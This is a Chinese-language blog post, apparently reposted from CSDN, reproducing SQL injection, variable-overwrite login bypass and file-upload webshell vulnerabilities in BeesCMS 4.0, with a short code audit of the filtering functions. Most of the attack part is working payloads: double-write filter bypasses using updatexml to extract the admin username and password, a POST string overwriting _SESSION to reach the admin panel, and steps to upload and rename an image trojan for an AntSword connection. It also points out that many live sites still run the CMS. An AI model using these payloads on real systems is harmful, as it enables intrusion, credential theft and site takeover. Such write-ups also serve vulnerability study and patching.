BeesCMS4.0多处漏洞复现

前言

本次复现的漏洞有:

  1. 后台报错注入漏洞
  2. 变量覆盖漏洞
  3. 文件上传漏洞

Beescms v4.0由于后台登录设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入、文件上传、变量覆盖漏洞。现在依然有许多企业选用BeesCMS4.0,百度搜powerd by BEESCMS © 2010-2015 www.beescms.com 还是有很多站的:

在这里插入图片描述

漏洞复现

后台报错注入

正常输入后台账号密码提示密码错误:
在这里插入图片描述在这里插入图片描述

输入admin’报错,此处为显错注入:

admin'

在这里插入图片描述
使用order by 10探测字段长度,最终探测长度为5

order by 5#

在这里插入图片描述

order by 6#

在这里插入图片描述

爆数据库名时and被过滤,采用空格+双写绕过:

扫描二维码关注公众号,回复: 11365813 查看本文章
admin' an and d updatexml(1,concat(0x7e,select database(),0x7e),1)#

在这里插入图片描述在这里插入图片描述

查表名时from、where、=被过滤:
在这里插入图片描述

依然采用空格+双写绕过:

第一张表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 0,1),0x7e),1)#

在这里插入图片描述

第二章表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 1,1),0x7e),1)#

在这里插入图片描述

爆列名:

列名1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)#

在这里插入图片描述

列名2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 2,1),0x7e),1)#

在这里插入图片描述

爆字段:

字段1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om bees.bees_admin limit 0,1),0x7e),1)#

在这里插入图片描述

字段2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_password fr from om bees.bees_admin limit 0,1),0x7e),1)#

在这里插入图片描述

代码审计

login.php

首先看一下后台的login.php,这里定义了f1_value()和f1_html()两个函数来进行过滤:
在这里插入图片描述
这两个函数在fun.php文件中,跟进看一下这他们的内容:
在这里插入图片描述
f1_value()对用户输入的字符串进行了比较严格的过滤,很多手注的关键字跟特殊符号都被过滤了,但也只是过滤一次,双写依然可以bypass。

f1_html()调用了htmlspecialchars()函数,它的作用是把特殊字符进行html实体转义,看似加了一道屏障,实则是加了一处隐患,这个函数虽然也转义’但是转义之后仍然是’,这样就造成了后台的一个报错注入:
在这里插入图片描述

这样双写+f1_html漏洞就成功的让我们进行手注来拿后台账号密码了,后期要想写shell,只需要将shell内容进行Hex编码即可绕过htmlspecialchars()函数

upload.php

这里还有一个文件上传漏洞,我们看一下源码,我们上传的文件是经过is_uploaded_file()函数来检测的:
在这里插入图片描述
跟进看一下,这里对文件type进行了白名单检测,所以我们只要修改一下Content-Type为image/jpg,即可绕过,下文我会继续复现此漏洞。

Init.php

这里存在一个变量覆盖,具体效果就是覆盖_SESSION来绕过后台登录验证,这里定义了一个is_login()函数来检测登录:
在这里插入图片描述
跟进is_login(),也是在fun.php里:
在这里插入图片描述
这里只要_SESSION[login_in]=1并且_SESSION[admin]=1和_SESSION[login_time]<3600就相当于你已经登录后台了,而它是先初始化变量,在进行登陆判断,又没有对http请求进行设置,所以导致前台POST覆盖变量直接登录后台。

在这里插入图片描述

GetShell

变量覆盖
Exp:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

在这里插入图片描述访问/admin成功绕过登陆验证:
在这里插入图片描述

文件上传

这里在测试的时候出现了问题!虽然我修改了Content-Type,但是上传依然没有成功,我发现无论是.jpg还是.php,它的Content-Type都是multipart/form-data,于是我试了试先传一个图片,然后在修改后缀名,改为.php,结果竟然成功了!

先传一个图片马:
在这里插入图片描述
上传成功后修改后缀名突破上传:
在这里插入图片描述
而且我发现,上传的木马跟图片的名字是一样的,也就是说你只需要更改上传图片的后缀名即可,这个系统对上传的文件名进行了更改处理,这样一来也不需要去分析上传的时间了!
在这里插入图片描述
在这里插入图片描述
蚁剑连接:

在这里插入图片描述
注:本文仅供参考学习,请勿在网上搞破坏,触犯法律者应承担相应的法律责任!

猜你喜欢

转载自blog.csdn.net/qq_43573676/article/details/105627370